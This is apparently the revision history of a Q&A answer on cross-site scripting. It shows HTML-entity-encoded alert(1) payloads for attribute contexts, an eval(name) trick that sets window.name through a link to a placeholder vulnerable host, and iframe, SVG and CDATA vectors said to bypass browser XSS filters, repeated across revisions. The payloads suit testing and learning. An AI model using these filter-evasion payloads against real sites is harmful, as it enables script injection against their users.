3 added 308 characters in body
source | link

In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.

onclick="alert(1)" will execute alert(1) when clicked on.

If there is a length limitation of 100 characters you can use the following pyaload:

eval(name) which translates to eval(name)

You can set name, or window.name, via for example target attribute of an a-tag:

<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>

Three other examples:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[

Last one works when page contains a double+ reflection and it will bypass browser XSS filters.

Note: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert(1) when HTML/XML-entity decoded

In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.

onclick="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" will execute alert(1) when clicked on.

Three other examples:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[

Last one works when page contains a double+ reflection and it will bypass browser XSS filters.

Note: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert(1) when HTML/XML-entity decoded

In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.

onclick="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" will execute alert(1) when clicked on.

If there is a length limitation of 100 characters you can use the following pyaload:

&#x65;&#x76;&#x61;&#x6C;(&#x6E;&#x61;&#x6D;&#x65;) which translates to eval(name)

You can set name, or window.name, via for example target attribute of an a-tag:

<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>

Three other examples:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[

Last one works when page contains a double+ reflection and it will bypass browser XSS filters.

Note: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert(1) when HTML/XML-entity decoded

2 added 308 characters in body
source | link

In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.

onclick="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" will execute alert(1) when clicked on.

Three other examples:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[

Last one works when page contains a double+ reflection and it will bypass browser XSS filters.

Note: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert(1) when HTML/XML-entity decoded

Three examples:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[

Last one works when page contains a double+ reflection and it will bypass browser XSS filters.

Note: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert(1) when HTML/XML-entity decoded

In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.

onclick="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" will execute alert(1) when clicked on.

Three other examples:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[

Last one works when page contains a double+ reflection and it will bypass browser XSS filters.

Note: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert(1) when HTML/XML-entity decoded

1
source | link

Three examples:

  • <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
  • <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
  • ">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[

Last one works when page contains a double+ reflection and it will bypass browser XSS filters.

Note: &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; = alert(1) when HTML/XML-entity decoded